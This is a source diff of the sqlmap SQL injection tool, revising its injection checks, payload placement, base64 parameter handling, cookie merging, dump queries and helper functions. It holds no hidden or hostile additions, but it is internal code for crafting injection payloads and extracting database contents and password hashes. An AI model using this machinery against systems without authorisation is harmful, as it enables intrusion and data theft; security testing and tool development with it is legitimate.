msg = "for the remaining tests, do you want to include all tests " msg = "for the remaining tests, do you want to include all tests "
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += "level (%d)" % conf.level if conf.level < 5 else ""
msg += " and " if conf.level < 5 and conf.risk < 3 else "" msg += " and " if conf.level < 5 and conf.risk < 3 else ""
msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" msg += "risk (%d)" % conf.risk if conf.risk < 3 else ""
@@ -598,7 +601,7 @@ def checkSqlInjection(place, parameter, value):
if candidates: if candidates:
candidates = sorted(candidates, key=len) candidates = sorted(candidates, key=len)
for candidate in candidates: for candidate in candidates:
if re.match(r"\A\w+\Z", candidate): if re.match(r"\A\w{2,}\Z", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break break
conf.string = candidate conf.string = candidate
@@ -785,8 +788,12 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg) logger.info(infoMsg)
process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True) try:
process.wait() process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
except Exception as ex:
errMsg = "error occurred while executing '%s' ('%s')" % (conf.alert, getSafeExString(ex))
logger.error(errMsg)
kb.alerted = True kb.alerted = True
@@ -924,6 +931,9 @@ def checkFalsePositives(injection):
randInt1 = min(randInt1, randInt2, randInt3) randInt1 = min(randInt1, randInt2, randInt3)
randInt3 = max(randInt1, randInt2, randInt3) randInt3 = max(randInt1, randInt2, randInt3)
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if randInt3 > randInt2 > randInt1: if randInt3 > randInt2 > randInt1:
break break
@@ -1098,6 +1108,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.warn(infoMsg) logger.warn(infoMsg)
kb.heuristicMode = True kb.heuristicMode = True
kb.disableHtmlDecoding = True
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH) randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2) value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1117,6 +1128,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.info(infoMsg) logger.info(infoMsg)
break break
kb.disableHtmlDecoding = False
kb.heuristicMode = False kb.heuristicMode = False
return kb.heuristicTest return kb.heuristicTest
@@ -1511,8 +1523,9 @@ def checkConnection(suppressOutput=False):
conf.disablePrecon = True conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError(): if not kb.originalPage and wasLastResponseHTTPError():
errMsg = "unable to retrieve page content" if getLastRequestHTTPError() not in (conf.ignoreCode or []):
raise SqlmapConnectionException(errMsg) errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg)
elif wasLastResponseDBMSError(): elif wasLastResponseDBMSError():
warnMsg = "there is a DBMS error found in the HTTP response body " warnMsg = "there is a DBMS error found in the HTTP response body "
warnMsg += "which could interfere with the results of the tests" warnMsg += "which could interfere with the results of the tests"
@@ -1559,6 +1572,16 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while "
message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
message += "Do you want to use those [Y/n] "
if readInput(message, default='Y', boolean=True):
kb.mergeCookies = True
conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
return True return True
def checkInternet(): def checkInternet():
+22 -18
View File
@@ -31,10 +31,12 @@ from lib.core.common import getSafeExString
from lib.core.common import hashDBRetrieve from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite from lib.core.common import hashDBWrite
from lib.core.common import intersect from lib.core.common import intersect
from lib.core.common import isDigit
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import removePostHintPrefix from lib.core.common import removePostHintPrefix
@@ -129,7 +131,7 @@ def _selectInjection():
message += "[q] Quit" message += "[q] Quit"
choice = readInput(message, default='0').upper() choice = readInput(message, default='0').upper()
if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0: if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
index = int(choice) index = int(choice)
elif choice == 'Q': elif choice == 'Q':
raise SqlmapUserQuitException raise SqlmapUserQuitException
@@ -202,10 +204,11 @@ def _randomFillBlankFields(value):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal): for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result") item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item): if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
if item[-1] == DEFAULT_GET_POST_DELIMITER: if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER)) retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
else: else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr())) retVal = retVal.replace(item, "%s%s" % (item, newValue))
return retVal return retVal
@@ -256,13 +259,9 @@ def _saveToResultsFile():
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line) conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line)
conf.resultsFP.flush() conf.resultsFP.flush()
except IOError as ex: except IOError as ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex)) errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@stackedmethod @stackedmethod
@@ -292,7 +291,7 @@ def start():
return False return False
if kb.targets and len(kb.targets) > 1: if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg) logger.info(infoMsg)
hostCount = 0 hostCount = 0
@@ -300,7 +299,6 @@ def start():
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try: try:
if conf.checkInternet: if conf.checkInternet:
infoMsg = "checking for Internet connection" infoMsg = "checking for Internet connection"
logger.info(infoMsg) logger.info(infoMsg)
@@ -316,7 +314,7 @@ def start():
dataToStdout("\n") dataToStdout("\n")
conf.url = targetUrl conf.url = targetUrl
conf.method = targetMethod.upper() if targetMethod else targetMethod conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
conf.data = targetData conf.data = targetData
conf.cookie = targetCookie conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders) conf.httpHeaders = list(initialHeaders)
@@ -374,7 +372,7 @@ def start():
message += "\nCookie: %s" % conf.cookie message += "\nCookie: %s" % conf.cookie
if conf.data is not None: if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method: if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -389,7 +387,7 @@ def start():
break break
else: else:
if conf.method != HTTPMETHOD.GET: if conf.method != HTTPMETHOD.GET:
message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
conf.data = readInput(message, default=conf.data) conf.data = readInput(message, default=conf.data)
conf.data = _randomFillBlankFields(conf.data) conf.data = _randomFillBlankFields(conf.data)
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
@@ -422,6 +420,15 @@ def start():
if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
continue continue
if conf.rParam and kb.originalPage:
kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
name, _ = match.groups()
options = tuple(re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _))
if options:
kb.randomPool[name] = options
checkWaf() checkWaf()
if conf.nullConnection: if conf.nullConnection:
@@ -475,9 +482,6 @@ def start():
if skip: if skip:
continue continue
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
continue
if place not in conf.paramDict: if place not in conf.paramDict:
continue continue
@@ -731,9 +735,9 @@ def start():
logger.info("fetched data logged to text files under '%s'" % conf.outputPath) logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
if conf.multipleTargets: if conf.multipleTargets:
if conf.resultsFilename: if conf.resultsFile:
infoMsg = "you can find results of scanning in multiple targets " infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
logger.info(infoMsg) logger.info(infoMsg)
return True return True
+30 -15
View File
@@ -5,7 +5,6 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import base64
import re import re
from lib.core.common import Backend from lib.core.common import Backend
@@ -27,6 +26,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import urlencode from lib.core.common import urlencode
from lib.core.common import zeroDepthSearch from lib.core.common import zeroDepthSearch
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import encodeBase64
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -50,7 +50,9 @@ from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import UNICODE_ENCODING
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from thirdparty import six
class Agent(object): class Agent(object):
""" """
@@ -119,7 +121,7 @@ class Agent(object):
paramString = origValue paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0] origValue = origValue.split(kb.customInjectionMark)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1] origValue = re.split(r"['\">]", origValue)[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue) origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
else: else:
@@ -169,17 +171,21 @@ class Agent(object):
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter: if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
# TODO: support for POST_HINT # TODO: support for POST_HINT
newValue = base64.b64encode(newValue) newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
origValue = base64.b64encode(origValue) origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
_ = "%s%s" % (origValue, kb.customInjectionMark) _ = "%s%s" % (origValue, kb.customInjectionMark)
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString: if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % newValue newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString: elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
newValue = "'%s'" % newValue newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else:
newValue = self.addPayloadDelimiters(newValue)
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) retVal = paramString.replace(_, newValue)
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -308,7 +314,7 @@ class Agent(object):
return re.sub(r";\W*;", ";", expression) if trimEmpty else expression return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
def cleanupPayload(self, payload, origValue=None): def cleanupPayload(self, payload, origValue=None):
if payload is None: if not isinstance(payload, six.string_types):
return return
replacements = { replacements = {
@@ -333,6 +339,7 @@ class Agent(object):
if origValue is not None: if origValue is not None:
origValue = getUnicode(origValue) origValue = getUnicode(origValue)
if "[ORIGVALUE]" in payload: if "[ORIGVALUE]" in payload:
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGINAL]" in payload: if "[ORIGINAL]" in payload:
@@ -351,6 +358,7 @@ class Agent(object):
inferenceQuery = inference.query inferenceQuery = inference.query
payload = payload.replace(INFERENCE_MARKER, inferenceQuery) payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
elif not kb.testMode: elif not kb.testMode:
errMsg = "invalid usage of inference payload without " errMsg = "invalid usage of inference payload without "
errMsg += "knowledge of underlying DBMS" errMsg += "knowledge of underlying DBMS"
@@ -393,7 +401,7 @@ class Agent(object):
if "hex" in rootQuery: if "hex" in rootQuery:
hexField = rootQuery.hex.query % field hexField = rootQuery.hex.query % field
else: else:
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
return hexField return hexField
@@ -443,7 +451,7 @@ class Agent(object):
else: else:
nulledCastedField = rootQuery.isnull.query % nulledCastedField nulledCastedField = rootQuery.isnull.query % nulledCastedField
kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',') kb.binaryField = conf.binaryFields and field in conf.binaryFields
if conf.hexConvert or kb.binaryField: if conf.hexConvert or kb.binaryField:
nulledCastedField = self.hexConvertField(nulledCastedField) nulledCastedField = self.hexConvertField(nulledCastedField)
@@ -651,7 +659,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery) concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
elif fieldsSelect: elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -1007,7 +1015,7 @@ class Agent(object):
limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
limitedQuery += "NOT IN (%s" % (limitStr % num) limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1") limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
else: else:
match = re.search(r" ORDER BY (\w+)\Z", query) match = re.search(r" ORDER BY (\w+)\Z", query)
field = match.group(1) if match else field field = match.group(1) if match else field
@@ -1081,7 +1089,7 @@ class Agent(object):
Removes payload delimiters from inside the input string Removes payload delimiters from inside the input string
""" """
return value.replace(PAYLOAD_DELIMITER, '') if value else value return value.replace(PAYLOAD_DELIMITER, "") if value else value
def extractPayload(self, value): def extractPayload(self, value):
""" """
@@ -1107,7 +1115,12 @@ class Agent(object):
def whereQuery(self, query): def whereQuery(self, query):
if conf.dumpWhere and query: if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") match = re.search(r" (LIMIT|ORDER).+", query, re.I)
if match:
suffix = match.group(0)
prefix = query[:-len(suffix)]
else:
prefix, suffix = query, ""
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper(): if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1116,7 +1129,9 @@ class Agent(object):
else: else:
prefix += " WHERE %s" % conf.dumpWhere prefix += " WHERE %s" % conf.dumpWhere
query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix query = prefix
if suffix:
query += suffix
return query return query
+192 -92
View File
@@ -46,7 +46,6 @@ from xml.sax import SAXParseException
from extra.beep.beep import beep from extra.beep.beep import beep
from extra.cloak.cloak import decloak from extra.cloak.cloak import decloak
from extra.safe2bin.safe2bin import safecharencode
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
from lib.core.compat import cmp from lib.core.compat import cmp
from lib.core.compat import round from lib.core.compat import round
@@ -131,6 +130,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HASHDB_MILESTONE_VALUE
from lib.core.settings import HOST_ALIASES from lib.core.settings import HOST_ALIASES
from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import IGNORE_SAVE_OPTIONS from lib.core.settings import IGNORE_SAVE_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import IP_ADDRESS_REGEX from lib.core.settings import IP_ADDRESS_REGEX
@@ -180,6 +180,7 @@ from lib.core.settings import VERSION_STRING
from lib.core.settings import ZIP_HEADER from lib.core.settings import ZIP_HEADER
from lib.core.settings import WEBSCARAB_SPLITTER from lib.core.settings import WEBSCARAB_SPLITTER
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
from lib.utils.safe2bin import safecharencode
from lib.utils.sqlalchemy import _sqlalchemy from lib.utils.sqlalchemy import _sqlalchemy
from thirdparty import six from thirdparty import six
from thirdparty.clientform.clientform import ParseResponse from thirdparty.clientform.clientform import ParseResponse
@@ -623,8 +624,8 @@ def paramToDict(place, parameters=None):
if parameter in (conf.base64Parameter or []): if parameter in (conf.base64Parameter or []):
try: try:
oldValue = value oldValue = value
value = decodeBase64(value, binary=False) value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
parameters = re.sub(r"\b%s\b" % re.escape(oldValue), value, parameters) parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
except: except:
errMsg = "parameter '%s' does not contain " % parameter errMsg = "parameter '%s' does not contain " % parameter
errMsg += "valid Base64 encoded value ('%s')" % value errMsg += "valid Base64 encoded value ('%s')" % value
@@ -701,7 +702,7 @@ def paramToDict(place, parameters=None):
message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_) message += "has boundaries. Do you want to inject inside? ('%s') [y/N] " % getUnicode(_)
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter])).replace("\\", r"\\"), parameters) testableParameters[parameter] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), (r"\g<1>%s" % re.sub(regex, r"\g<1>%s\g<2>" % BOUNDED_INJECTION_MARKER, testableParameters[parameter].replace("\\", r"\\"))), parameters)
break break
if conf.testParameter: if conf.testParameter:
@@ -1231,7 +1232,7 @@ def checkPipedInput():
# Reference: https://stackoverflow.com/a/33873570 # Reference: https://stackoverflow.com/a/33873570
""" """
return not os.isatty(sys.stdin.fileno()) return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
def isZipFile(filename): def isZipFile(filename):
""" """
@@ -1245,6 +1246,22 @@ def isZipFile(filename):
return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
def isDigit(value):
"""
Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
>>> u'\xb2'.isdigit()
True
>>> isDigit(u'\xb2')
False
>>> isDigit('123456')
True
>>> isDigit('3b3')
False
"""
return re.search(r"\A[0-9]+\Z", value or "") is not None
def checkFile(filename, raiseOnError=True): def checkFile(filename, raiseOnError=True):
""" """
Checks for file existence and readability Checks for file existence and readability
@@ -1285,36 +1302,43 @@ def banner():
""" """
if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"): if not any(_ in sys.argv for _ in ("--version", "--api")) and not conf.get("disableBanner"):
_ = BANNER result = BANNER
if not IS_TTY or "--disable-coloring" in sys.argv: if not IS_TTY or "--disable-coloring" in sys.argv:
_ = clearColors(_) result = clearColors(result)
elif IS_WIN: elif IS_WIN:
coloramainit() coloramainit()
dataToStdout(_, forceOutput=True) dataToStdout(result, forceOutput=True)
def parsePasswordHash(password): def parsePasswordHash(password):
""" """
In case of Microsoft SQL Server password hash value is expanded to its components In case of Microsoft SQL Server password hash value is expanded to its components
>>> pushValue(kb.forcedDbms)
>>> kb.forcedDbms = DBMS.MSSQL
>>> "salt: 4086ceb6" in parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a")
True
>>> kb.forcedDbms = popValue()
""" """
blank = " " * 8 blank = " " * 8
if not password or password == " ": if isNoneValue(password) or password == " ":
password = NULL retVal = NULL
else:
retVal = password
if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password): if Backend.isDbms(DBMS.MSSQL) and retVal != NULL and isHexEncodedString(password):
hexPassword = password retVal = "%s\n" % password
password = "%s\n" % hexPassword retVal += "%sheader: %s\n" % (blank, password[:6])
password += "%sheader: %s\n" % (blank, hexPassword[:6]) retVal += "%ssalt: %s\n" % (blank, password[6:14])
password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) retVal += "%smixedcase: %s\n" % (blank, password[14:54])
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
if not Backend.isVersionWithin(("2005", "2008")): if password[54:]:
password += "%suppercase: %s" % (blank, hexPassword[54:]) retVal += "%suppercase: %s" % (blank, password[54:])
return password return retVal
def cleanQuery(query): def cleanQuery(query):
""" """
@@ -1673,7 +1697,7 @@ def expandAsteriskForColumns(expression):
if db is None: if db is None:
if expression != conf.sqlQuery: if expression != conf.sqlQuery:
conf.db = db conf.db = db
else: elif conf.db:
expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression) expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
else: else:
conf.db = db conf.db = db
@@ -1946,7 +1970,7 @@ def safeFilepathEncode(filepath):
retVal = filepath retVal = filepath
if filepath and six.PY2 and isinstance(filepath, six.text_type): if filepath and six.PY2 and isinstance(filepath, six.text_type):
retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING) retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
return retVal return retVal
@@ -2739,7 +2763,7 @@ def findMultipartPostBoundary(post):
return retVal return retVal
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True): def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
""" """
URL decodes given value URL decodes given value
@@ -3171,7 +3195,10 @@ def isDBMSVersionAtLeast(minimum):
parts[1] = filterStringValue(parts[1], '[0-9]') parts[1] = filterStringValue(parts[1], '[0-9]')
version = '.'.join(parts) version = '.'.join(parts)
version = float(filterStringValue(version, '[0-9.]')) + correction try:
version = float(filterStringValue(version, '[0-9.]')) + correction
except ValueError:
return None
if isinstance(minimum, six.string_types): if isinstance(minimum, six.string_types):
if '.' in minimum: if '.' in minimum:
@@ -3457,6 +3484,23 @@ def flattenValue(value):
else: else:
yield i yield i
def joinValue(value, delimiter=','):
"""
Returns a value consisting of joined parts of a given value
>>> joinValue(['1', '2'])
'1,2'
>>> joinValue('1')
'1'
"""
if isListLike(value):
retVal = delimiter.join(value)
else:
retVal = value
return retVal
def isListLike(value): def isListLike(value):
""" """
Returns True if the given value is a list-like instance Returns True if the given value is a list-like instance
@@ -3536,8 +3580,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
